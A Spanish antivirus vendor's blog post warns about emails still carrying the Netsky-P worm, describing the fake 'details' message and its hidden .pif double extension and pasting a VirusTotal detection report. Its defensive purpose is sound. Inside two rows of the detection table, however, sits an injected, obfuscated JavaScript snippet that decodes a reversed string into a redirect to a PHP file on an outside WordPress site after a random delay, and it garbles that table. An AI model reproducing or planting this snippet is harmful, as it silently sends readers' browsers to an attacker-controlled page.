SIGUEN LLEGANDO MAILS ANEXANDO NETSKY-P

A pesar de ser antiguo y ya controlado por casi todos los antivirus, sigue propagandose el NETSKY-P, sin duda por el envio masivo aparentando provenir de otro ordenador que no tiene porqué estar infectado.

Cabe comentar que el mail anexa un aparente .TXT, pero que detras de espacios en blanco hay como doble extension el .PIF, que es la que realmente se ejecuta:
MAIL MALICIOSO:
_______________

Asunto: details
De: <FALSO REMITENTE>
Fecha: 10/04/2014 12:13
Para: <DESTINATARIO>
Your document is attached.

anexo: details.zip   <- contiene fichero infectado

______________________
FIN DEL MAIL MALICIOSO
Nuestro ELINETSA ya lo controla desde antaño.

El preanalisis de virustotal ofrece este informe:

MD5 3018e99857f31a59e0777396ae634a8f
SHA1 7031cfe76ee7b2c925f2c00372fb9ef7f983f60c
Tamaño del fichero 28.9 KB ( 29568 bytes )
SHA256: c8fffb2e737514c551b2d7bcaf8baa459564b059cab1a35a3cec4b3c270d4525
Nombre: details.txt …
Detecciones: 48 / 51
Fecha de análisis: 2014-04-11 07:18:44 UTC ( hace 0 minutos )

1 20

Antivirus  Resultado  Actualización
AVG  I-Worm/Netsky  20140410
Ad-Aware  Win32.Generic.497472  20140411
Agnitum  I-Worm.NetSky!4NWvXC1SwiU  20140410
AhnLab-V3  Win-Trojan/Fsg.29568  20140410
AntiVir  Worm/Netsky.AP  20140411
Antiy-AVL  Worm[Email]/Win32.NetSky  20140411
Avast  Win32:Netsky-AF [Wrm]  20140411
Baidu-International  Worm.Win32.NetSky.aMKE  20140410
BitDefender  Win32.Generic.497472  20140411
Bkav  W32.SkyNetP.Worm  20140410
CAT-QuickHeal  W32.NetSky.P  20140411
CMC  Generic.Win32.3018e99857!MD  20140411
ClamAV  Worm.NetSky-14  20140411
Commtouch  $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:W32/Netsky.P@mm”>W32/Netsky.P@mm  20140410
F-Secure  Win32.Generic.497472  20140411
Fortinet  $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:W32/Netsky.p@MM”>W32/Netsky.p@MM  20140411
McAfee-GW-Edition  Heuristic.BehavesLike.Win32.Suspicious-PKR.G  20140411
MicroWorld-eScan  Win32.Generic.497472  20140411
Microsoft  Worm:Win32/Netsky.P@mm  20140411
NANO-Antivirus  Trojan.Win32.NetSky.idzx  20140411
Norman  Netsky.P  20140411
Panda  W32/Netsky.AE.worm  20140410
Qihoo-360  Win32/Worm.d2e  20140411
Rising  PE:Trojan.Win32.Generic.129CEE65!312274533  20140410
SUPERAntiSpyware  Worm.Netsky-P  20140411
Sophos  W32/Netsky-P  20140411
Symantec  __________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.